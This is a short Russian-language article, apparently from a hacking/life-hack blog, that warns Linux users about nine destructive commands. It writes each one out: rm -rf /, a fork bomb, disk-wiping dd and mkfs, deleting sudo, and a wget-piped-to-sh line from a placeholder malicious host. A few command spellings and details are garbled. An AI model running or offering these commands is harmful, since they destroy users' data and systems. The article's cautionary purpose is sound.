Опасные команды Linux

Опасные команды Linux

Life-Hack [Жизнь-Взлом]/Хакинг


Операционная система Linux с открытым исходным кодом нарастила обороты со временем, но все таки ее еще нельзя назвать по настоящему популярной.

Многих останавливает проблема обучения Линукс, или просто момент перестройки с привычного Windows.

Так же, работа в “никсах” предполагает различые манипуляции с командной строкой.

Но если вы не используете команды Linux полностью отдавая отчет в своих действиях, вы можете потерять свои данные, или повредить свою ОС

В этой статье я собираюсь предоставить информации о опасных командах, на которые необходимо обратить внимание при использовании Linux.

1. Команда rm -rf

rm = используется для удаления файлов

rm -r = рекурсивно удаляет папку, даже если папка пустая

rm -f = команда удаляет файлы “только для чтения”

rm -rf / = удаление всего в корневом каталоге

rm -rf * = удаление всего в текущем каталоге

rm -rf . = удаление всего в текущей папке и подкаталогах

пример вывода rm –help в Astra Linux Smolensk

2. mkfs.ext4/dev/sda1

Уже рассматривали недавно mkfs, в статье о форматировании флешки на Linux.

mkfs.ext4/dev/sda1 – команда, которая форматирует весь жесткий диск и заменяет его новой ext3 файловой системой.

Как только вы выполните команду – все ваши данные потеряны и не могут быть восстановлены.


3. :(){:|:&};: -Fork Bomb

Фактически этой командой вы создаете функцию, которая циклически удваивается не может закончится.

Это безобразие будет продолжаться вплоть до того, пока не исчерпает системные ресурсы.


4. mv ~/dev/null – Перемещение корневого каталога в никуда

Перемещение чего-либо в /dev/null является тем же самым, что удаление.

Думайте о /dev/null как о пустоте.

По существу mv ~/dev/null посылает все ваши личные файлы в никуда.


5. wget http://malicious_source-O-| sh

Эта команда состоит в том, чтобы загрузить скрипт из источника, и выполнить его.

Команда ‘wget’ загружает скрипт, и команда ‘sh’ выполняет загруженный скрипт.

Нужно всегда загружать пакеты и скрипт от надежного источника.


6. dd if=/dev/random of=/dev/sda

Утилитой dd мы уже пользовались в статье “как создать образ Astra Linux”

the dd if=/dev/random of=/dev/sda удаляет все файлы/файловые системы жесткого диска.


7. > file

Команда ” > ” используется, чтобы сбросить содержание файл.


8. Команда > /dev/sda

Команда ” > /dev/sda ” еще более проста; любая команда, которую вы выполняете (вместо “команды”) запишет выходные данные в первый жесткий диск, заменив все файлы и папки.

Эта команда поочередно повреждает вашу всю файловую систему.


9. rm -f /usr/bin/sudo;rm -f /bin/su

Эти команды позволяют отключить две из самых важных команд на Linux: sudo и su.

Эти два действия позволяют вам выполнять другие команды с полномочиями root.


Источник

Report Page